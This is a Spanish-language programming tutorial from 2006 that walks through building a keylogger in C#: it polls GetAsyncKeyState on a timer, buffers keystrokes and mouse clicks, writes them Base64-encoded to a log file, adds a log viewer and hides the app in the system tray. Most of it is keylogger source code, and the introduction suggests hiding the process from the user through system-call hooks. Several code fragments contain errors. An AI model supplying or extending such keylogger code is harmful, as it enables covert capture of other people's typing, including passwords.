KeyLogger con C#

KeyLogger with GetAsyncKeyState

 

Fecha: 10/Abr/2006 (10-04-06)
Autor: David Rosa Torres (e-mail: [email protected])

 


Introducción


En esta ocacion vamos a desarrollar una aplicación que nos va a permitir capturar las pulsaciones de teclas de un usuario y lo click de raton y almacenar esta información en un fichero de texto que ira codificado en Base64 (Esta codificacion es una codificacion muy sencilla, lo correcto seria utilizar un metodo de encriptación reversible mas complejo para que nadie pueda revisar el fichero de texto con un simple clic de rato), la aplicación tambien nos permitira ver el fichero de log generado y modificar alguna de las propiedades del KeyLogger antes de iniciarlo, para capturar las pulsaciones de las teclas utilizaremos una llamada a la API nativa de Win32 en concreto a la funcion GetAsyncKeyState de la librería user32.dll, como ultimo detalle dotaremos a la aplicación de minimizarse sobre el SysTray, el siguiente paso logico para esta aplicación seria conseguir que el usuario no supiera de la existencia de esta aplicación, esto lo podriamos realizar mediante algun Hook a alguna de las llamadas del sistema de mostrar procesos o etc….

Creando la clase de Logueo

Lo primero que haremos sera crearnos nuestra clase propia que sera la encargada de capturar las teclas e insertarlas en el fichero de texto, esta clase se basara en lo siguiente, mediante dos timer controlaremos lo siguiente, uno de los timer sera el encargado de controlar cuando se realizar la llamada a GetAsyncKeyState y el otro timer sera el encargado de controlar cuando se vacia el buffer de escritura (las pulsaciones se iran almacenando en un buffer ya que ir escribiendo cada pulsación de una tecla sobre el fichero en disco es una opcion poco recomendable) sobre el fichero de texto. Dicho esto el primer paso sera crearnos un proyecto y añadirle una nueva clase una vez echo esto pasaremos a definir nuestra clase de KeyLogger lo primero sera crearnos la definición a la llamada a las funciones de la APi de Win32 y crearnos nuestras variables:
// Definicion de la llamada a la API de Win32
[DllImport("user32.dll")]
private static 
extern short GetAsyncKeyState(System.Int32 vKey);

private String keybuffer;
private System.Timers.Timer CheckKey;
private System.Timers.Timer FlushBuffer;
private String file;
Una vez definidas las variables y la funcion de la API nos crearemos una serie de propiedades accesibles desde fuera de la API que posteriormente nos ayudaran a iniciar o parar nuestro keylogger y para modificar ciertos parámetros de ella. Las propiedades que hemos definido en la clase son las siguientes:
// Controlamos el estado del keyLogger, dado que usamos dos timer esta propiedad
// nos va a permitir acceder a los dos simultáneamente para que no hay inconsistencias

public Bolean Enabled
{
    get
    {
        return CheckKey.Enabled && FlushBuffer.Enabled;
    }
    set
    {
        CheckKey.Enabled=value;
        FlushBuffer.Enabled=value;
    }
}

// Con esta propiedad controlaremos el periodo de tiempo en el cual se vacia el buffer
// en el fichero de texto, de esta manera podremos configurar a medida el tiempo de vaciado

public Double FlushInterval
{

    get
    {
        return FlushInterval.Interval;

    }
    set
    {
        FlushInterval.Interval=value;
    }
}

// Y como ultima propiedad tenemos la propiedad que nos va a permitir especificar el fichero sobre el que 
// queremos guardar los datos de logueo

public String File
{
    get
    {
        return file;
    }
    set
    {
        file = value;
    }
}
El siguiente paso sera definirnos el constructor correspondiente a nuestra clase donde crearemos e inicializaremos todos las variables necesarios y donde definiremos los delegados que posteriormente necesiteremos:
// Recibe un parametro que es el nombre del fichero donde se guardaran las teclas pulsadas
public KeyLogger(String filename)
{

    // Vaciamos el buffer
    keybuffer = string.Empty;  

    this.File = filename;

    // Timer de captura de teclas
    CheckKey = new System.Timers.Timer();
    CheckKey.Enabled = true;
    CheckKey.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
    CheckKey.Interval = 10;

    // Timer de vaciado del buffer
    FlushBuffer = new System.Timers.Timer();
    FlushBuffer.Enabled = true;
    FlushBuffer.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
    FlushBuffer.Interval = 120000;
}
Como se puede ver en el codigo anterior hemos definido dos delegados para cada evento Elapsed de cada timer, el evento Elapsed se produce cada vez que ha pasado el tiempo especificado en la propiedad Interval, sera en ese momento cuando realizemos las acciones correspondientes, empezaremos por el caso de la captura de teclas, como podemos ver en la definición de GetAsyncKeyState recibe un parámetro que es un entero y nos devuelve un short que nos indica si esa tecla ha sido o no ha sido pulsada, dado que tenemos que comprobar cual de todas la teclas posibles ha sido pulsada deberemos recorrer todas las teclas comprobando para cual de ellas GetAsyncKeyState nos devuelve un valor de “pulsado” la forma de realizar esto la podemos ver en el siguiente codigo:
// Recorremos el array devuelto por GetValues de todas las teclas definidas en la enumeración Keys
foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys)))
{
    if(GetAsyncKeyState(h) == -32767)
    keybuffer+=Enum.GetName(typeof(System.Windows.Forms.Keys),h)+” “;
}
Antes de mostrar el codigo correspondiente al evento elapsed del timer FlushBuffer vamos a crearnos una nueva funcion que sera la encargada de escribir realmente el buffer sobre el fichero en disco, podemos ver la funcion en el siguiente codigo:
public void Flush2File(string file, bool append)
{
    try
    {
        StreamWriter sw = new StreamWriter(file,append);
        // Añadiremos una linea nueva cada vez que vaciemos el buffer, cada linea introducida ira codificada en Base64 para 
        // añadir un poco mas de seguridad al log y que no se pueda leer con un simple clic de raton

        sw.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(keybuffer)));
        sw.Close();
        keybuffer = string.Empty;

    }
    catch(Exception ex)
    {
        throw ex;
    }
}
Ahora si añadiremos por ultimo una llamada a la funcion Flush2File en el delegado del timer FlushBuffer.

Front-End de nuestro Keylogger

Una vez que tenemos creada la clase de logueo lo que haremos sera crearnos nuestra aplicación de escritorio para utilizarla, añadiremos a nuestra solucion un Windows Form que tendra un aspecto parecido al que se muestra en la imagen:

Colaboraciones en el Guille


Como se puede ver en la imagen podremos especificarle tanto el periodo de tiempo en el que queremos que vaya grabando las pulsaciones en el fichero como el fichero sobre que el se guardaran. Dentro del evento Form_Load del formulario crearemos nuestra instancia de la clase y los parámetro iniciales para que este todo preparado al pulsar el boton de Stara KeyLog, podemos ver el codigo a continuación:
string filename=@”c:\keylogger.txt”;
KeyLogger kl;

textBox1.Text=”60000”;
textBox3.Text=filename;

try
{
    KeyLogger = new KeyLogger(filename);
    Kl.FlushInterval = Convert.ToDouble(textBox1.text);
}
catch(Exception)
{
    MessageBox.Show(“FlushInterval especificado erroneo”);
}
Deberemos tambien escribir el codigo correspondiente al evento click de los botones de iniciar y parar el keylogger, el codigo correspondiente son los siguientes:
// Iniciar KeyLogger
kl.Enabled=true;
kl.Flush2File(textBox3.text,true);

// Parar KeyLogger
kl.Flush2File(textBox3.text,true);
kl.Enabled=false;
El siguiente paso sera crearnos un nuevo formulario donde visualizaremos el log, sera aqui donde decodificaremos el texto en base64 almacenado en el fichero, el constructor del visor recibira como parametro el nombre del fichero que sera el fichero que abrira para leerlo, dentro del formulario agregaremos un ritchTextBox que sera donde mostremos el registro de teclas, el codigo de Form_Load del nuevo formulario se muestra a continuacion:
StreamReader sr = new StreamReader(filename);
byte [] binary;

// Transformamos la cadena en Base64 al formato ASCII
System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding();
binary = Convert.FromBase64String(sr.ReadLine());
richTextBox1.Text = enc.GetString(binary);

// Vamos recorriendo el fichero hasta que lo hemos leido todo
while(!sr.EndOfStream)
{
    binary = Convert.FromBase64String(sr.ReadLine());
    richTextBox1.AppendText(enc.GetString(binary));
}
sr.Close();
Como ultimo detalle añadiremos al formulario principal desde el toolBox un control notifyIcon, en la propiedad icon le configuraremos el icono que queremos que nos muestre cuando la aplicación este en el systray, tambien deberemos poner a false la propiedad ShowInTaskbar del formulario principal, en nuestro caso nos basaremos en el evento SizeChanged del formulario para detectar que la aplicación hay sido minimizada en tal caso en vez de ir a la barra comun la aplicación se minimizara en el systray, el codigo correspondiente al evento es el siguiente:
if(this.WindowState == FormWindowState.Minimized)
this.Hide();
Una vez que ejecutemos nuestra aplicacion y comprobemos como al minimizar la aplicacion pasa a formar parte del SysTray nos encontraremos con que no podemos restaurarla de nuevo a la situacion original!!!, bien para ello debemos crearnos un MenuContextual y enlazarlo al notifyIcon para poder restaurar nuestra aplicación, a continuación mostramos el codigo para ello:
ContextMenu contextMenu = new ContextMenu();
contextMenu.MenuItems.Add(“&Restaurar”,new EventHandler(this.Restaurar));
notifyIcon1.ContextMenu = contextMenu;
Ahora deberemos definer la funcion Restaurar que sera realmente la encargada de restaurar la ventana a su situacion original, podemos ver el codigo del cuerpo de la funcion a continuacion:
this.Show();
this.WindowState = FormWindowState.Normal;
this.BringToFront();

 


Espacios de nombres usados en el código de este artículo:

System
System.IO
System.Runtime.InteropService
System.Windows.Forms



Fichero con el código de ejemplo: drosa_KeyLoggerLocal.zip - 19 KB

(MD5 checksum: BFB0479FB10AADAD445EA9281348478D)


ir al índice principal del Guille